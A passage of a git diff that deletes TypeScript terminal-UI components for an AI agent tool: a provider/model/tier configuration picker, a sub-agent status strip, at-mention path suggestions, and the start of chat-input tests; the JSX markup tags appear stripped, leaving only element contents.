setProfileFormValues((v) => ({ ...v, [currentProfileField]: v[currentProfileField] + input })); - setProfileFormError(null); - } - } - return; - } - - if (step === "tiers") { - if (key.upArrow) { - setTierIndex((i) => (i > 0 ? i - 1 : PROVIDER_TIERS.length - 1)); - return; - } - if (key.downArrow) { - setTierIndex((i) => (i < PROVIDER_TIERS.length - 1 ? i + 1 : 0)); - return; - } - if (key.return) { - const tier = PROVIDER_TIERS[tierIndex]; - if (tier !== undefined) { - enterTierModelStep(tier); - } - return; - } - if (input === "m") { - const tier = PROVIDER_TIERS[tierIndex]; - if (tier !== undefined) onCycleTierMode?.(tier); - return; - } - if (input === "e") { - const tier = PROVIDER_TIERS[tierIndex]; - if (tier !== undefined) enterTierChainStep(tier); - return; - } - if (input === "c") { - const tier = PROVIDER_TIERS[tierIndex]; - if (tier !== undefined) onClearTier?.(tier); - return; - } - if (key.escape) { - setStep("provider"); - return; - } - return; - } - - if (step === "tier-chain" && tierChainFocus !== null) { - const def = normalizeTierDefinition(tiers[tierChainFocus]); - const legs = def?.order ?? []; - if (key.upArrow) { - setTierLegIndex((i) => (i > 0 ? i - 1 : Math.max(0, legs.length - 1))); - return; - } - if (key.downArrow) { - setTierLegIndex((i) => (i < legs.length - 1 ? i + 1 : 0)); - return; - } - if (input === "x") { - onRemoveTierLeg?.(tierChainFocus, tierLegIndex); - if (legs.length <= 1) { - setTierChainFocus(null); - setStep("tiers"); - } else { - setTierLegIndex((i) => Math.min(i, legs.length - 2)); - } - return; - } - if (input === "u") { - onMoveTierLeg?.(tierChainFocus, tierLegIndex, -1); - return; - } - if (input === "d") { - onMoveTierLeg?.(tierChainFocus, tierLegIndex, 1); - return; - } - if (input === "m") { - onCycleTierMode?.(tierChainFocus); - return; - } - if (input === "a" || key.return) { - enterTierModelStep(tierChainFocus); - return; - } - if (key.escape) { - setTierChainFocus(null); - setStep("tiers"); - return; - } - return; - } - - if (step === "model") { - if (key.upArrow) { - setModelIndex((i) => (i > 0 ? i - 1 : models.length - 1)); - return; - } - if (key.downArrow) { - setModelIndex((i) => (i < models.length - 1 ? i + 1 : 0)); - return; - } - if (key.escape) { - if (pendingTierAssign !== null) { - setPendingTierAssign(null); - setStep("tiers"); - } else { - setStep("provider"); - } - return; - } - const provider = providers[providerIndex]; - const model = models[modelIndex]; - if (provider === undefined || model === undefined) return; - if (key.return) { - enterEffortStep(provider.name, model); - } - return; - } - - if (step === "effort") { - if (key.upArrow) { - setEffortIndex((i) => (i > 0 ? i - 1 : efforts.length - 1)); - return; - } - if (key.downArrow) { - setEffortIndex((i) => (i < efforts.length - 1 ? i + 1 : 0)); - return; - } - if (key.escape) { - setStep("model"); - return; - } - if (pendingProvider === undefined || pendingModel === undefined) return; - const effort = efforts[effortIndex]; - if (key.return) { - if (pendingTierAssign !== null) { - onSaveTier(pendingTierAssign, pendingProvider, pendingModel, effort); - setPendingTierAssign(null); - setPendingProvider(undefined); - setPendingModel(undefined); - setStep("tiers"); - return; - } - onApply(pendingProvider, pendingModel, effort); - onClose(); - return; - } - if (input === "d") { - onPersistDefault(pendingProvider, pendingModel, effort); - onClose(); - } - return; - } - - if (step === "delete") { - if (input === "y" && selectedProvider !== undefined) { - onDeleteProvider(selectedProvider.name); - setStep("provider"); - return; - } - if (input === "n" || key.escape) { - setStep("provider"); - } - return; - } - - if (key.upArrow) { - setFormIndex((i) => (i > 0 ? i - 1 : activeFormFields.length - 1)); - return; - } - if (key.downArrow || key.tab) { - setFormIndex((i) => { - // Skip the apiKey field when keyless is enabled — there's nothing to enter. - if (currentField === "keyless" && formValues.keyless === "yes") { - const next = i + 1 >= activeFormFields.length ? 0 : i + 2; - return next >= activeFormFields.length ? 0 : next; - } - return i < activeFormFields.length - 1 ? i + 1 : 0; - }); - return; - } - if (key.return) { - if (formIndex < activeFormFields.length - 1) { - setFormIndex((i) => { - // Skip apiKey when keyless. - if (currentField === "keyless" && formValues.keyless === "yes") { - return Math.min(i + 2, activeFormFields.length - 1); - } - return i + 1; - }); - return; - } - submitForm(); - return; - } - if (key.escape) { - setFormAuthOnly(false); - setStep("models"); - setFormError(null); - setPendingTierAssign(null); - return; - } - // keyless field: toggle with left/right or space, no text input. - if (currentField === "keyless") { - if (key.leftArrow || key.rightArrow || input === " ") { - setFormValues((v) => ({ ...v, keyless: v.keyless === "yes" ? "no" : "yes" })); - setFormError(null); - } - return; - } - if (key.backspace || key.delete) { - setFormValues((values) => ({ ...values, [currentField]: values[currentField].slice(0, -1) })); - setFormError(null); - return; - } - if (key.ctrl || key.meta || input.length === 0) return; - setFormValues((values) => ({ ...values, [currentField]: values[currentField] + input })); - setFormError(null); - }); - -const helpText = ((): string | null => { - switch (step) { - case "models": - return "Up/Down · Enter use · Alt+A connect · Alt+F favorite · a advanced · t tiers · p profiles · Esc close"; - case "provider": - return "Up/Down navigate · Enter models · c/Alt+A connect · a add custom · e edit · x remove · t tiers · p profiles · Esc back"; - case "connect": - return "Up/Down navigate · Enter connect · Esc back"; - case "connect-path": - return "Up/Down navigate · Enter choose path · Esc back"; - case "tiers": - return "Up/Down navigate · Enter add · e edit chain · m mode · c clear · Esc back"; - case "tier-chain": - return "Up/Down leg · a/Enter add · x remove · u/d reorder · m mode · Esc back"; - case "profiles": - return "Up/Down navigate · a add · e edit · x remove · Esc back"; - case "profile-form": - return "Up/Down fields · Left/Right for tier · Enter next/save · Esc cancel"; - case "profile-delete": - return "y remove · n cancel · Esc back"; - case "model": - return "Up/Down navigate · Enter effort · Esc back"; - case "effort": - return "Up/Down navigate · Enter use now · d set as default · Esc back"; - case "form": - return formAuthOnly - ? "Enter save · Esc cancel" - : "Up/Down fields · Left/Right toggle keyless · Enter next/save · Esc cancel"; - case "delete": - return "y remove · n cancel · Esc back"; - } - })(); - const helpLines = helpText !== null ? wrapHelpSegments(helpText.split(" · "), contentWidth) : []; - const selectedProviderRow = providers[providerIndex]; - const showReauthHint = - selectedProviderRow !== undefined && - (selectedProviderRow.codexProfile !== undefined || selectedProviderRow.xaiProfile !== undefined) && - unauthedProviders?.has(selectedProviderRow.name) === true; - - return ( - - - Agent Configuration - - {usage !== undefined && ( - - {usage.split("\n").map((line, i) => ( - {line} - ))} - - )} - - - {step === "models" ? "Models" : "Provider / Model"} - - - - {step === "models" && ( - - {modelPicks.length === 0 ? ( - - No models yet — press Alt+A (or c) to connect a provider - - ) : ( - (() => { - let lastSection: ModelPick["section"] | null = null; - let lastProvider: string | null = null; - return modelPicks.map((pick, i) => { - const isCursor = i === pickIndex; - const isActive = - pick.provider === activeProvider && pick.model === activeModel; - const headers: ReactNode[] = []; - if (pick.section !== lastSection) { - lastSection = pick.section; - lastProvider = null; - const title = - pick.section === "recent" - ? "Recent" - : pick.section === "favorites" - ? "Favorites" - : "Providers"; - headers.push( - - {title} - , - ); - } - if ( - pick.section === "provider" && - pick.provider !== lastProvider - ) { - lastProvider = pick.provider; - headers.push( - - {pick.providerLabel ?? pick.provider} - , - ); - } - const meta = [ - pick.section !== "provider" ? (pick.providerLabel ?? pick.provider) : null, - pick.account, - pick.warning, - ] - .filter((x): x is string => x !== undefined && x !== null && x.length > 0) - .join(" · "); - return ( - - {headers} - - - {isCursor ? ">" : " "} - - - {isActive ? "* " : " "} - {pick.model} - - {meta.length > 0 && ( - - {meta} - - )} - - - ); - }); - })() - )} - - )} - - {step === "provider" && ( - - {providers.map((p, i) => { - const isActive = p.name === activeProvider; - const isCursor = i === providerIndex; - const isOAuth = p.codexProfile !== undefined || p.xaiProfile !== undefined; - const isUnauthed = isOAuth && unauthedProviders?.has(p.name) === true; - const productHint = billingProductForProvider(p); - return ( - - - {isCursor ? ">" : " "} - - - {isActive ? "* " : " "} - {p.name} - - - ({p.models.length} model{p.models.length === 1 ? "" : "s"}) - - {productHint !== undefined && ( - [{productHint}] - )} - {isUnauthed && ( - ! not authenticated - )} - - ); - })} - {showReauthHint ? ( - - Enter to re-authenticate - - ) : null} - - )} - - {step === "connect" && ( - - Connect a first-class provider - {connectListProviders().map((def, i) => { - const isCursor = i === connectIndex; - return ( - - - - {isCursor ? ">" : " "} - - - {def.label} - - ({connectAuthLabel(def.auth)}) - - {isCursor && def.authHint !== undefined && ( - - {" "} - {def.authHint} - - )} - - ); - })} - - )} - - {step === "connect-path" && chooserDef !== null && ( - - Connect {chooserDef.label} - {(chooserDef.paths ?? []).map((path, i) => { - const isCursor = i === connectPathIndex; - return ( - - - - {isCursor ? ">" : " "} - - - {path.label} - - - ({path.auth === "oauth" ? "OAuth" : "API key"}) - - - {isCursor && path.authHint !== undefined && ( - - {" "} - {path.authHint} - - )} - - ); - })} - - )} - - {step === "tier-chain" && tierChainFocus !== null && ( - - - Chain for tier: {tierChainFocus} ({formatTierChain(tiers[tierChainFocus])}) - - {(normalizeTierDefinition(tiers[tierChainFocus])?.order ?? []).map((leg, i) => { - const isCursor = i === tierLegIndex; - return ( - - - {isCursor ? ">" : " "} - - - {leg.provider} · {leg.model} - - - ); - })} - - )} - - {step === "tiers" && ( - - {PROVIDER_TIERS.map((tier, i) => { - const assignment = tiers[tier]; - const isCursor = i === tierIndex; - const assignmentLabel = formatTierChain(assignment); - const rowDir = stackFields ? "column" : "row"; - return ( - - - - {isCursor ? ">" : " "} - - {tier} - - - {stackFields ? " " : ""} - {fitTrailingText(assignmentLabel, stackFields ? contentWidth - 2 : Math.max(8, contentWidth - 12))} - - - ); - })} - - )} - - {step === "model" && ( - - - {pendingTierAssign !== null - ? `Assign provider for tier: ${pendingTierAssign}` - : selectedProvider?.name} - - {models.map((m, i) => { - const isActive = selectedProvider?.name === activeProvider && m === activeModel; - const isCursor = i === modelIndex; - const desc = MODEL_DESCRIPTIONS[m]; - const namePart = `${isActive ? "* " : " "}${m}`; - const showDescInline = desc !== undefined && !stackFields && namePart.length + desc.length + 4 < contentWidth; - return ( - - - - {isCursor ? ">" : " "} - - - {fitTrailingText(namePart, contentWidth - 2)} - - {showDescInline && ( - — {desc} - )} - - {desc !== undefined && !showDescInline && ( - - {" "} - {fitTrailingText(desc, contentWidth - 2)} - - )} - - ); - })} - - )} - - {step === "effort" && ( - - - {pendingProvider} · {pendingModel} — reasoning effort - - {pendingModel !== undefined && supportedEfforts(pendingModel).length === 0 && ( - (this model does not support reasoning effort) - )} - {efforts.map((e, i) => { - const isActive = e === activeEffort; - const isCursor = i === effortIndex; - const desc = EFFORT_DESCRIPTIONS[e]; - const namePart = `${isActive ? "* " : " "}${effortLabel(e)}`; - const showDescInline = desc !== undefined && !stackFields && namePart.length + desc.length + 4 < contentWidth; - return ( - - - - {isCursor ? ">" : " "} - - - {fitTrailingText(namePart, contentWidth - 2)} - - {showDescInline && ( - — {desc} - )} - - {desc !== undefined && !showDescInline && ( - - {" "} - {fitTrailingText(desc, contentWidth - 2)} - - )} - - ); - })} - - )} - - {step === "delete" && ( - - Remove provider {selectedProvider?.name}? - y remove · n cancel · Esc cancel - - )} - - {step === "form" && ( - - - {formAuthOnly - ? editingProvider === undefined - ? "Connect provider" - : `Connect ${editingProvider}` - : editingProvider === undefined - ? "Add provider" - : `Edit provider ${editingProvider}`} - - {formAuthOnly && formValues.baseURL.length > 0 && ( - {formValues.baseURL} - )} - {activeFormFields.map((field, i) => { - const isCursor = i === formIndex; - const value = formValues[field]; - const isKeyless = formValues.keyless === "yes"; -// gap only between label and value — never between value and caret, - // or the caret sits after a phantom space the user did not type. - const showCaret = - isCursor && - field !== "keyless" && - !(field === "apiKey" && isKeyless); - const rawDisplay = - field === "keyless" - ? null - : field === "apiKey" && isKeyless - ? "(disabled — keyless provider)" - : value.length > 0 - ? maskInput(field, value) - : field === "apiKey" && editingProvider !== undefined - ? "leave blank to keep existing" - : FIELD_HINTS[field]; - // Reserve one cell for the caret so long values do not push it off-screen. - const fitted = - rawDisplay === null - ? null - : fitTrailingText(rawDisplay, showCaret ? Math.max(1, valueWidth - 1) : valueWidth); - return ( - - - - {FIELD_LABELS[field]} - - - - {field === "keyless" ? ( - - {isCursor ? "< " : " "} - {value === "yes" ? "yes" : "no"} - {isCursor ? " >" : ""} - - ) : ( - 0 - ? color("text") - : color("muted") - } - > - {fitted} - - )} - {showCaret && |} - - - ); - })} - {formError !== null && ( - - {fitTrailingText(formError, contentWidth)} - - )} - - )} - - {step === "profiles" && ( - - {profiles.length === 0 && ( - (no profiles — press a to add one) - )} - {profiles.map((p, i) => { - const isCursor = i === profileIndex; - const meta = `${p.tier !== undefined ? `[${p.tier}]` : ""}${p.description !== undefined ? ` ${p.description}` : ""}`.trim(); - return ( - - - - {isCursor ? ">" : " "} - - - {fitTrailingText(p.id, stackFields ? contentWidth - 2 : 20)} - - - {meta.length > 0 && ( - - {stackFields ? " " : ""} - {fitTrailingText(meta, stackFields ? contentWidth - 2 : Math.max(8, contentWidth - 24))} - - )} - - ); - })} - - )} - - {step === "profile-delete" && ( - - Remove agent profile {profiles[profileIndex]?.id}? - y remove · n cancel · Esc cancel - - )} - - {step === "profile-form" && ( - - - {editingProfileId === undefined ? "Add agent profile" : `Edit profile ${editingProfileId}`} - - {PROFILE_FORM_FIELDS.map((field, i) => { - const isCursor = i === profileFormIndex; - const showCaret = isCursor && field !== "tier"; - const raw = - field === "tier" - ? null - : profileFormValues[field].length > 0 - ? profileFormValues[field] - : PROFILE_FIELD_HINTS[field]; - const fitted = - raw === null - ? null - : fitTrailingText(raw, showCaret ? Math.max(1, valueWidth - 1) : valueWidth); - return ( - - - - {PROFILE_FIELD_LABELS[field]} - - - - {field === "tier" ? ( - 0 ? color("text") : color("muted")}> - {isCursor ? "< " : " "} - {profileFormValues.tier.length > 0 ? profileFormValues.tier : "none"} - {isCursor ? " >" : ""} - - ) : ( - 0 ? color("text") : color("muted")} - > - {fitted} - - )} - {showCaret && |} - - - ); - })} - {profileFormError !== null && ( - - {fitTrailingText(profileFormError, contentWidth)} - - )} - - )} - - - {helpLines.map((line, i) => ( - - {line} - - ))} - - - ); -} diff --git a/src/tui/components/agents-strip.tsx b/src/tui/components/agents-strip.tsx deleted file mode 100644 index 3b827ed1b..000000000 --- a/src/tui/components/agents-strip.tsx +++ /dev/null @@ -1,374 +0,0 @@ -import { Box, Text } from "ink"; -import type { ReactNode } from "react"; -import type { Task } from "../../agent/tasks.js"; -import type { SubAgentSession, SubAgentSessionStatus } from "../../subagent/session-store.js"; -import { color } from "../theme.js"; -import { describeToolCall } from "../tool-formatter.js"; -import { formatElapsed } from "./in-flight-indicator.js"; - -export type AgentsStripProps = { - sessions: readonly SubAgentSession[]; - // When set, that row is the keyboard selection (agents-nav mode). - selectedId?: string | null; - // Session currently entered for live/historical observe. - enteredId?: string | null; - // Show selection chrome + hint row. - navActive?: boolean; - // Cap on rendered rows. The store retains far more completed sessions than - // belong on screen; without a cap the strip can crowd out the transcript. - maxVisible?: number; -}; - -// Default row cap for the strip, independent of how many completed sessions the -// store retains for later inspection. -export const DEFAULT_STRIP_MAX_VISIBLE = 6; - -// Chrome strip shows only active work: an agent leaves the default visible -// list as it reaches a terminal state. Terminal sessions stay in the store -// for later inspection; Ctrl+E / agents-nav browses the full listForStrip -// surface (running + recent completed). -export function activeStripSessions( - sessions: readonly SubAgentSession[], -): SubAgentSession[] { - return sessions.filter((s) => s.status === "running"); -} - -// Parent stream state (task tool_call.end → tool.done) can show a sub-agent as -// "doing" before the session store has started, or if store updates are missed -// for a frame. Merge those in-flight rows so the chrome strip never stays empty -// while workers are live. -export function mergeInFlightSubAgents( - storeSessions: readonly SubAgentSession[], - inFlight: readonly Task[], -): SubAgentSession[] { - const byId = new Map(storeSessions.map((s) => [s.id, s])); - for (const task of inFlight) { - if (task.status !== "doing") continue; - const existing = byId.get(task.id); - if (existing !== undefined) { - if (existing.status === "running") continue; - // Store already reached a terminal state; parent tool.done may lag one frame. - if ( - existing.status === "done" || - existing.status === "failed" || - existing.status === "cancelled" - ) { - continue; - } - } - const { agentId, description, currentToolName } = parseSubAgentTaskTitle(task.title); - byId.set(task.id, { - id: task.id, - description, - agentId, - brief: "", - status: "running", - toolNames: currentToolName !== null ? [currentToolName] : [], - currentToolName, - entries: [], - startedAt: existing?.startedAt ?? 0, - ...(existing?.parentSessionId !== undefined - ? { parentSessionId: existing.parentSessionId } - : {}), - }); - } - return orderStripSessions([...byId.values()]); -} - -/** Rank: running first, then most recently started. */ -function stripSessionRank(a: SubAgentSession, b: SubAgentSession): number { - if (a.status === "running" && b.status !== "running") return -1; - if (a.status !== "running" && b.status === "running") return 1; - return b.startedAt - a.startedAt; -} - -/** - * Forest order for the strip: each parent, then its one-hop children, so - * treeIndent glyphs sit under the orchestrator instead of floating by recency. - * Roots and sibling groups use running-first / recency rank. - */ -export function orderStripSessions( - sessions: readonly SubAgentSession[], -): SubAgentSession[] { - if (sessions.length <= 1) return [...sessions]; - const byId = new Map(sessions.map((s) => [s.id, s])); - const children = new Map(); - const roots: SubAgentSession[] = []; - for (const s of sessions) { - const parentId = s.parentSessionId; - if (parentId !== undefined && byId.has(parentId)) { - const list = children.get(parentId); - if (list !== undefined) list.push(s); - else children.set(parentId, [s]); - } else { - roots.push(s); - } - } - roots.sort(stripSessionRank); - for (const list of children.values()) list.sort(stripSessionRank); - - const out: SubAgentSession[] = []; - const visit = (s: SubAgentSession): void => { - out.push(s); - for (const child of children.get(s.id) ?? []) visit(child); - }; - for (const root of roots) visit(root); - return out; -} - -function parseSubAgentTaskTitle(title: string): { - agentId: string; - description: string; - currentToolName: string | null; -} { - let base = title; - let currentToolName: string | null = null; - const toolSep = " · "; - const toolIdx = base.lastIndexOf(toolSep); - if (toolIdx !== -1) { - currentToolName = base.slice(toolIdx + toolSep.length).trim() || null; - base = base.slice(0, toolIdx); - } - const colon = base.indexOf(": "); - if (colon === -1) { - return { agentId: "worker", description: base.trim(), currentToolName }; - } - return { - agentId: base.slice(0, colon).trim() || "worker", - description: base.slice(colon + 2).trim(), - currentToolName, - }; -} - -// Chrome shows the strip whenever there is a running worker to surface, or when -// agents-nav is browsing historical sessions. -export function shouldShowAgentsStrip(input: { - chromeSessions: readonly SubAgentSession[]; - browseSessions: readonly SubAgentSession[]; - agentsNavOpen: boolean; -}): boolean { - return ( - input.chromeSessions.length > 0 || - (input.agentsNavOpen && input.browseSessions.length > 0) - ); -} - -export type AgentsStripWindow = { - start: number; - end: number; - hiddenAbove: number; - hiddenBelow: number; -}; - -/** Keep the keyboard selection inside the visible window when browsing long lists. */ -export function computeAgentsStripWindow( - total: number, - selectedIndex: number, - maxVisible: number, -): AgentsStripWindow { - if (total <= 0) { - return { start: 0, end: 0, hiddenAbove: 0, hiddenBelow: 0 }; - } - if (total <= maxVisible) { - return { start: 0, end: total, hiddenAbove: 0, hiddenBelow: 0 }; - } - const idx = Math.max(0, Math.min(selectedIndex, total - 1)); - let start = idx - Math.floor(maxVisible / 2); - if (start < 0) start = 0; - let end = start + maxVisible; - if (end > total) { - end = total; - start = end - maxVisible; - } - return { - start, - end, - hiddenAbove: start, - hiddenBelow: total - end, - }; -} - -// Rows the strip occupies: header, visible session rows, and optional scroll hints. -export function agentsStripRowCount( - sessionCount: number, - maxVisible: number, - scrollHints?: Pick, -): number { - if (sessionCount === 0) return 0; - const shown = Math.min(sessionCount, maxVisible); - let rows = 1 + shown; - if (scrollHints !== undefined) { - if (scrollHints.hiddenAbove > 0) rows += 1; - if (scrollHints.hiddenBelow > 0) rows += 1; - } else if (sessionCount > shown) { - rows += 1; - } - return rows; -} - -export function AgentsStrip({ - sessions, - selectedId = null, - enteredId = null, - navActive = false, - maxVisible = DEFAULT_STRIP_MAX_VISIBLE, -}: AgentsStripProps): ReactNode { - if (sessions.length === 0) return null; - - const selectedIndex = - selectedId !== null && selectedId !== undefined - ? Math.max(0, sessions.findIndex((s) => s.id === selectedId)) - : 0; - const window = - navActive && sessions.length > maxVisible - ? computeAgentsStripWindow(sessions.length, selectedIndex, maxVisible) - : { - start: 0, - end: Math.min(sessions.length, maxVisible), - hiddenAbove: 0, - hiddenBelow: Math.max(0, sessions.length - maxVisible), - }; - const visible = sessions.slice(window.start, window.end); - const hiddenCount = window.hiddenBelow; - - return ( - - - - Agents - - - {summaryCounts(sessions)} - - {navActive && ( - - ↑↓ select · ⏎ enter · x cancel · esc back - - )} - {!navActive && ( - - Ctrl+E to browse - - )} - - {navActive && window.hiddenAbove > 0 && ( - - {` ↑ ${window.hiddenAbove} more above`} - - )} - {visible.map((session, index) => { - const selected = session.id === selectedId; - const entered = session.id === enteredId; - const prefix = selected ? "› " : entered ? "· " : " "; - const label = formatSessionLabel(session); - const tree = treeIndent(session, visible, index); - // Status is colour + the header summary counts — no decorative ●/✓/✗ zoo. - return ( - - - {tree} - {prefix} - {label} - - - ); - })} - {hiddenCount > 0 && ( - - {navActive ? ` ↓ ${hiddenCount} more below` : ` … +${hiddenCount} more`} - - )} - - ); -} - -// Nested (one-hop) dispatches carry parentSessionId; orderStripSessions keeps -// them adjacent under the parent so ├─ / └─ read as a real tree, not recency. -function treeIndent( - session: SubAgentSession, - visible: readonly SubAgentSession[], - index: number, -): string { - if (session.parentSessionId === undefined) return ""; - const hasLaterSibling = visible - .slice(index + 1) - .some((s) => s.parentSessionId === session.parentSessionId); - return hasLaterSibling ? "├─ " : "└─ "; -} - - -// The transcript entry backing session.currentToolName, if any — used to -// build an argument preview. currentToolName is nulled the moment a result -// lands, so whenever it is set the most recent matching "tool" entry is the -// one still running. -function currentToolArguments(session: SubAgentSession): string { - if (session.currentToolName === null) return ""; - for (let i = session.entries.length - 1; i >= 0; i--) { - const entry = session.entries[i]; - if (entry?.kind === "tool" && entry.name === session.currentToolName) return entry.arguments; - } - return ""; -} - -export function formatSessionLabel(session: SubAgentSession): string { - // Only finished workers get a duration suffix — matches status-bar policy - // (completed sub-agent times, not a live tick for in-flight sessions). - const duration = - session.finishedAt !== undefined && session.finishedAt >= session.startedAt - ? formatElapsed(session.finishedAt - session.startedAt) - : undefined; - const durationSuffix = duration !== undefined ? ` · ${duration}` : ""; - if (session.status === "running" && session.currentToolName !== null) { - const args = currentToolArguments(session); - const { summary, isShell } = describeToolCall(session.currentToolName, args); - // Shell's summary is already the full command headline (no separate tool - // name to prefix); other tools read as " ". - const preview = isShell - ? summary - : summary.length > 0 - ? `${session.currentToolName} ${summary}` - : session.currentToolName; - const tool = ` — ${preview}`; - return `${session.agentId}: ${session.description}${tool}${durationSuffix}`; - } - const tool = - session.toolNames.length > 0 && session.status !== "running" - ? ` · ${session.toolNames.length} tool${session.toolNames.length === 1 ? "" : "s"}` - : ""; - return `${session.agentId}: ${session.description}${tool}${durationSuffix}`; -} - -function summaryCounts(sessions: readonly SubAgentSession[]): string { - const running = sessions.filter((s) => s.status === "running").length; - const done = sessions.filter((s) => s.status === "done").length; - const failed = sessions.filter((s) => s.status === "failed").length; - const cancelled = sessions.filter((s) => s.status === "cancelled").length; - const parts: string[] = []; - if (running > 0) parts.push(`${running} live`); - if (done > 0) parts.push(`${done} done`); - if (failed > 0) parts.push(`${failed} failed`); - if (cancelled > 0) parts.push(`${cancelled} cancelled`); - return parts.length > 0 ? parts.join(" · ") : `${sessions.length}`; -} - -/** Row colour for status (no glyphs). Selection/observe focus use text colour. */ -export function agentsStripRowColor( - status: SubAgentSessionStatus, - opts: { selected: boolean; entered: boolean }, -): string { - if (opts.selected || opts.entered) return color("text"); - switch (status) { - case "running": - return color("text"); - case "done": - return color("success"); - case "failed": - return color("danger"); - case "cancelled": - return color("muted"); - } -} diff --git a/src/tui/components/at-mention/AtSuggestions.tsx b/src/tui/components/at-mention/AtSuggestions.tsx deleted file mode 100644 index 81a5579ed..000000000 --- a/src/tui/components/at-mention/AtSuggestions.tsx +++ /dev/null @@ -1,23 +0,0 @@ -import { Box, Text } from "ink"; -import type { ReactNode } from "react"; - -export type AtSuggestionsProps = { - suggestions: string[]; - selectedIdx: number; -}; - -export function AtSuggestions({ suggestions, selectedIdx }: AtSuggestionsProps): ReactNode { - if (suggestions.length === 0) return null; - const clamped = Math.min(selectedIdx, suggestions.length - 1); - return ( - - {suggestions.map((s, i) => ( - - - {s} - - - ))} - - ); -} diff --git a/src/tui/components/at-mention/index.ts b/src/tui/components/at-mention/index.ts deleted file mode 100644 index 666d64dc6..000000000 --- a/src/tui/components/at-mention/index.ts +++ /dev/null @@ -1,4 +0,0 @@ -export { parseAtState, type AtState } from "./parse.js"; -export { listPathSuggestions } from "./list.js"; -export { useAtSuggestions, type AtSuggestionsHook } from "./use-at-suggestions.js"; -export { AtSuggestions, type AtSuggestionsProps } from "./AtSuggestions.js"; diff --git a/src/tui/components/at-mention/use-at-suggestions.ts b/src/tui/components/at-mention/use-at-suggestions.ts deleted file mode 100644 index e60cb4c67..000000000 --- a/src/tui/components/at-mention/use-at-suggestions.ts +++ /dev/null @@ -1,111 +0,0 @@ -import { useState, useRef } from "react"; -import { parseAtState, type AtState } from "./parse.js"; -import { listPathSuggestions } from "./list.js"; - -export type AtSuggestionsHook = { - atState: AtState | null; - suggestions: string[]; - selectedIdx: number; - // Call this from useInput after every value/cursor change so the suggestion - // list stays in sync without needing a useEffect. - refresh: (value: string, cursor: number) => void; - selectUp: () => void; - selectDown: () => void; - resetSelection: () => void; - clear: () => void; -}; - -export function useAtSuggestions(cwd: string): AtSuggestionsHook { - const [atState, setAtState] = useState(null); - const [suggestions, setSuggestions] = useState([]); - const [selectedIdx, setSelectedIdx] = useState(0); - - // Generation counter: each refresh increments this. The async callback only - // applies its result if the counter hasn't moved on while it was in-flight. - const generation = useRef(0); - // Cache the last prefix we listed so we skip redundant fs calls on cursor-only moves. - const lastPrefix = useRef(null); - - // Shared async helper: fetch entries for a given prefix and apply results if - // the generation still matches. - const fetchFor = (prefix: string, gen: number) => { - void listPathSuggestions(prefix, cwd).then((results) => { - if (generation.current !== gen) return; - setSuggestions(results); - setSelectedIdx(0); - }); - }; - - const refresh = (value: string, cursor: number) => { - const next = parseAtState(value, cursor); - setAtState(next); - - if (next === null) { - lastPrefix.current = null; - setSuggestions([]); - setSelectedIdx(0); - return; - } - - // Skip the fs round-trip when the prefix hasn't changed. - if (next.prefix === lastPrefix.current) return; - lastPrefix.current = next.prefix; - - const gen = ++generation.current; - fetchFor(next.prefix, gen); - }; - - // Navigate up. When already at idx=0 and inside a subpath, ascend to the - // parent directory. Side effects run in the function body, not inside a - // state updater, so they execute exactly once per call. - const selectUp = () => { - if (selectedIdx > 0) { - setSelectedIdx(selectedIdx - 1); - return; - } - if (lastPrefix.current !== null && lastPrefix.current !== "") { - const p = lastPrefix.current; - const stripped = p.endsWith("/") ? p.slice(0, -1) : p; - const lastSlash = stripped.lastIndexOf("/"); - const parent = lastSlash === -1 ? "" : stripped.slice(0, lastSlash + 1); - if (parent !== lastPrefix.current) { - lastPrefix.current = parent; - setAtState((s) => s !== null ? { ...s, prefix: parent } : s); - const gen = ++generation.current; - fetchFor(parent, gen); - setSelectedIdx(0); - } - } - }; - - // Navigate down. When already at the last entry and it is a directory, - // auto-enter it. Reads suggestions from the current render closure — correct - // because this is called synchronously from useInput. - const selectDown = () => { - const last = Math.max(0, suggestions.length - 1); - if (selectedIdx < last) { - setSelectedIdx(selectedIdx + 1); - return; - } - const sel = suggestions[selectedIdx]; - if (sel !== undefined && sel.endsWith("/")) { - lastPrefix.current = sel; - setAtState((s) => s !== null ? { ...s, prefix: sel } : s); - const gen = ++generation.current; - fetchFor(sel, gen); - setSelectedIdx(0); - } - }; - - const resetSelection = () => setSelectedIdx(0); - - const clear = () => { - generation.current++; - lastPrefix.current = null; - setAtState(null); - setSuggestions([]); - setSelectedIdx(0); - }; - - return { atState, suggestions, selectedIdx, refresh, selectUp, selectDown, resetSelection, clear }; -} diff --git a/src/tui/components/chat-input.test.ts b/src/tui/components/chat-input.test.ts deleted file mode 100644 index bf488281b..000000000 --- a/src/tui/components/chat-input.test.ts +++ /dev/null @@ -1,400 +0,0 @@ -import { describe, test, expect } from "bun:test"; -import { applyKey, applyKillYank, applyPaste, type EditState, type InputKey } from "./chat-input.js"; -import { emptyKillRing, type KillRing } from "../kill-ring.js"; - -const state = (value: string, cursor: number): EditState => ({ value, cursor }); - -// Shorthand key builders -const key = (overrides: Partial = {}): InputKey => ({ - leftArrow: false, - rightArrow: false, - backspace: false, - delete: false, - return: false, - escape: false, - upArrow: false, - downArrow: false, - home: false, - end: false, - tab: false, - ctrl: false, - meta: false, - shift: false, - super: false, - ...overrides, -}); - -describe("applyKey — newline on Shift/Alt+Enter", () => { - test("Shift+Enter inserts a newline at the cursor", () => { - expect(applyKey(state("ab", 1), "", key({ return: true, shift: true }))).toEqual(state("a\nb", 2)); - }); - - test("Alt/Option+Enter also inserts a newline", () => { - expect(applyKey(state("ab", 2), "", key({ return: true, meta: true }))).toEqual(state("ab\n", 3)); - }); - - test("plain Enter is a no-op in applyKey (the caller submits)", () => { - expect(applyKey(state("ab", 1), "", key({ return: true }))).toEqual(state("ab", 1)); - }); -}); - -describe("applyKey — character insertion", () => { - test("appends when cursor is at end", () => { - expect(applyKey(state("hi", 2), "!", key())).toEqual(state("hi!", 3)); - }); - - test("inserts mid-string and advances cursor", () => { - expect(applyKey(state("hllo", 1), "e", key())).toEqual(state("hello", 2)); - }); - - test("inserts at position 0", () => { - expect(applyKey(state("ello", 0), "h", key())).toEqual(state("hello", 1)); - }); - - test("ignores empty input", () => { - expect(applyKey(state("hi", 2), "", key())).toEqual(state("hi", 2)); - }); - - test("drops an unrecognized escape sequence instead of inserting it", () => { - // A mouse SGR sequence that slipped past the stdin filter must never be - // spliced into the buffer as literal text. - expect(applyKey(state("hi", 2), "\u001B[<65;18;49m", key())).toEqual(state("hi", 2)); - }); -}); - -describe("applyKey — backspace", () => { - test("deletes char before cursor at end", () => { - 